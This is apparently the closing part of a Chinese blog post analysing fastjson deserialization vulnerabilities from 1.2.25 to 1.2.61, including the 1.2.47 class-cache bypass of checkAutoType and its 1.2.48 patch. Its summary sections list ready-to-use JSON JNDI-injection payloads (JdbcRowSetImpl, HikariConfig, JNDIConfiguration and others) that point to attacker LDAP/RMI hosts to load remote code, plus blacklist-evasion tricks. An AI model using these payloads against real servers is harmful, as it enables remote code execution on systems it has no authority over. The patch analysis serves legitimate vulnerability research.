在扫描第二部分的JSON数据时,由于前面第一部分JSON数据中的val键值”com.sun.rowset.JdbcRowSetImpl”已经缓存到Map中了,所以当此时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,进而在下面的判断clazz是否为空的if语句中直接return返回了,从而成功绕过checkAutoType()检测:

可以看到第二次扫描,com.sun.rowset.JdbcRowSetImpl这个类已经缓存到map中了,因此调用 deserializers.findClass(typeName)直接获取到了,从而绕过了autoTypeSupport

image-20240414134729534

总结:

1.2.25-1.2.47的这个洞,在服务器不开启autotypesupport也可以实现rce,主要由于TypeUtils#getClassFromMapping会调用MiscCodec#deserialze方法,然后去解析vaule是val的字段,最终会TypeUtils.loadClass(),从mappings中判断是否存在该class,如果不存在则会放入mappings中(这里是第一次循环)。下一次循环的时候,调用deserializers.findClass就会从缓存中获取到这个class,最终直接获取到了这个class。

这也给我们一个思路:payload是多段发送,第一次查询不到利用fastjson的缓存机制(java.lang.Class不是黑名单),再次加载则直接绕过。

补丁分析:

由于1.2.47这个洞能够在不开启AutoTypeSupport实现RCE,因此危害十分巨大,看看是怎样修的。1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。

调试分析,在调用TypeUtils.loadClass()时中,缓存开关cache默认设置为了False,对比下两个版本的就知道了。

1.2.47版本中,还是设置缓存。

image-20240414141351614

1.2.48版本中的MiscCodec#deserialze,同理解析出classClass.class,调用 TypeUtils.loadClass,将不再设置缓存了。

image-20240414141138805

8. 版本<= 1.2.61 通杀:

fastjson1.2.5 <= 1.2.59

需要开启AutoType

1
2
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://vps:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://vps:1389/Exploit"}

fastjson1.2.5 <= 1.2.60

需要开启 autoType:

1
2
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

fastjson1.2.5 <= 1.2.61

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploi"}

总结:

如果版本是<=1.2.47,那么可以使用一下payload

1
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}}

原因是fastjson中对于val关键字会进行解析,然后获取到这个字符串,之后会对这个字符串进行解析,最终获取到这个class,调用了TypeUtils.loadClass,由于在1.2.47版本之前,TypeUtils.loadClass方法是默认设置缓存的,因此在第一次调用后就会将这个class设置mappings中,第二次循环就会从mappings中获取到这个class,直接进行序列化了,从而绕过checkAutoType的校验。使用这个payload不需要开启autoTypeSupport

1.2.251.2.43版本中可以尝试在JdbcSetRowImpl前面添加L末尾添加;,或者尝试[末尾添加[{

在小于等于1.2.45版本可以尝试使用org.apache.ibatis.datasource.jndi.JndiDataSourceFactory进行jndi注入。

参考:

Java反序列化Fastjson篇03-Fastjson各版本绕过分析 | Drunkbaby’s Blog (drun1baby.top)


fastjson 反序列化基础二(1.2.25-1.2.61)
https://pow1e.github.io/2024/04/28/漏洞中间件复现/fastjson/fastjson 1225-1261/
作者
pow1e
发布于
2024年4月28日
许可协议